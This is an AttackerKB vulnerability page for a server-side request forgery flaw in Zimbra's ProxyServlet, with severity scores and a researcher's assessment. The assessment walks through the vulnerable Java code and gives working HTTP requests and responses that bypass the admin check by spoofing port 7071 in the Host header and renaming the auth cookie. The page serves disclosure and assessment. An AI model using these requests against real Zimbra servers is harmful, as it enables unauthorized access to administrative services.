Lucene search

K
attackerkbAttackerKBAKB:C984F54D-DDE6-486A-A81C-CA2578542809
HistoryApr 30, 2019 - 12:00 a.m.

Zimbra Collaboration Suite ProxyServlet SSRF

2019-04-3000:00:00
attackerkb.com
114

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.961 High

EPSS

Percentile

99.3%

Zimbra Collaboration Suite before 8.6 patch 13, 8.7.x before 8.7.11 patch 10, and 8.8.x before 8.8.10 patch 7 or 8.8.x before 8.8.11 patch 3 allows SSRF via the ProxyServlet component.

Recent assessments:

jrobles-r7 at May 09, 2019 5:57pm UTC reported:

Details

According to the blog post A Saga of Code Executions on Zimbra by An Trinh the SSRF vulnerability occurs during the handling of ProxyServlet requests. The diff to fix the server side request forgery issues can be found in Zimbra’s github page for the zm-mailbox repository. The diff for ProxyServlet.java moves a few checks outside of a conditional so that the checks are always performed.

The doProxy function contains the vulnerable code. As described in the blog post user input is used to determine whether the request will be treated as an admin request. Line 188 in doProxy calls isAdminRequest:

186     private void doProxy(HttpServletRequest req, HttpServletResponse resp) throws IOException {
187         ZimbraLog.clearContext();
188         boolean isAdmin = isAdminRequest(req);
189         AuthToken authToken = isAdmin ?
190                 getAdminAuthTokenFromCookie(req, resp, true) : getAuthTokenFromCookie(req, resp, true);
191         if (authToken == null) {
192             String zAuthToken = req.getParameter(QP_ZAUTHTOKEN);
193             if (zAuthToken != null) {

The following is the isAdminRequest:

180     protected boolean isAdminRequest(HttpServletRequest req) {
181         return req.getServerPort() == LC.zimbra_admin_service_port.intValue();
182     }

The getServerPort function returns the port number specified in the Host header and LC.zimbra_admin_service_port is 7071. If a request is sent with port 7071 in the Host header then the isAdmin variable will be set to true in doProxy. After isAdmin is set, an authentication token is read from the request. Since we want the request to be treated as an admin request we are interested in the getAdminAuthTokenFromCookie function. The function ends up checking for a valid cookie with the ZM_ADMIN_AUTH_TOKEN key. Note: A valid token is required but the key for the token should be changed to ZM_ADMIN_AUTH_TOKEN when exploiting the SSRF vulnerability.

Lines 222-234 check for a proxy target and whether the request is allowed based on permissions:

222         // sanity check
223         String target = req.getParameter(TARGET_PARAM);
224         if (target == null) {
225             resp.sendError(HttpServletResponse.SC_BAD_REQUEST);
226             return;
227         }
228
229         // check for permission
230         URL url = new URL(target);
231         if (!isAdmin && !checkPermissionOnTarget(url, authToken)) {
232             resp.sendError(HttpServletResponse.SC_FORBIDDEN);
233             return;
234         }

On line 231 we can see that if the user is an admin then the request is allowed but if the user is not an admin then a permissions check will be performed. To test the described issue, we can construct requests. The following request uses a valid user (non-admin) cookie and contains a proxy request to the admin port:

POST /service/proxy?target=https://127.0.0.1:7071/ HTTP/1.1
Host: zimbra.mylocaldomain.local:8443
Cookie: ZM_AUTH_TOKEN=0_f4c2aa41cd45987f5a459601320b5452ec993ad4_69643d33363a61303964323935332d363139642d343532612d383565352d3536346136616638393030383b6578703d31333a313535343339313631313239383b747970653d363a7a696d6272613b753d313a613b7469643d393a3635323737323132373b76657273696f6e3d31333a382e372e315f47415f313637303b637372663d313a313b;
Content-Length: 0

The response from the previous request returns a forbidden message:

HTTP/1.1 403 Forbidden
Date: Wed, 03 Apr 2019 11:54:45 GMT
Content-Type: text/html;charset=iso-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Content-Length: 245

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 403 Forbidden</title>
</head>
&lt;body&gt;<h2>HTTP ERROR 403</h2>
<p>Problem accessing /service/proxy. Reason:
<pre>    Forbidden</pre></p>
&lt;/body&gt;
&lt;/html&gt;

Next we modify the previous request, changing 8443 to 7071 and ZM_AUTH_TOKEN to ZM_ADMIN_AUTH_TOKEN, and resend it:

POST /service/proxy?target=https://127.0.0.1:7071/ HTTP/1.1
Host: zimbra.mylocaldomain.local:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_f4c2aa41cd45987f5a459601320b5452ec993ad4_69643d33363a61303964323935332d363139642d343532612d383565352d3536346136616638393030383b6578703d31333a313535343339313631313239383b747970653d363a7a696d6272613b753d313a613b7469643d393a3635323737323132373b76657273696f6e3d31333a382e372e315f47415f313637303b637372663d313a313b;
Content-Length: 0

The response to the modified request does not contain a forbidden message this time and is instead a redirect the zimbraAdmin page:

HTTP/1.1 302 Found
Date: Wed, 03 Apr 2019 11:57:52 GMT
Content-Type: text/html;charset=utf-8
Date: Wed, 03 Apr 2019 11:57:52 GMT
X-Frame-Options: SAMEORIGIN
Expires: Tue, 24 Jan 2000 20:46:50 GMT
Location: https://127.0.0.1:7071/zimbraAdmin
Content-Length: 0

Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 3

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.961 High

EPSS

Percentile

99.3%

Related for AKB:C984F54D-DDE6-486A-A81C-CA2578542809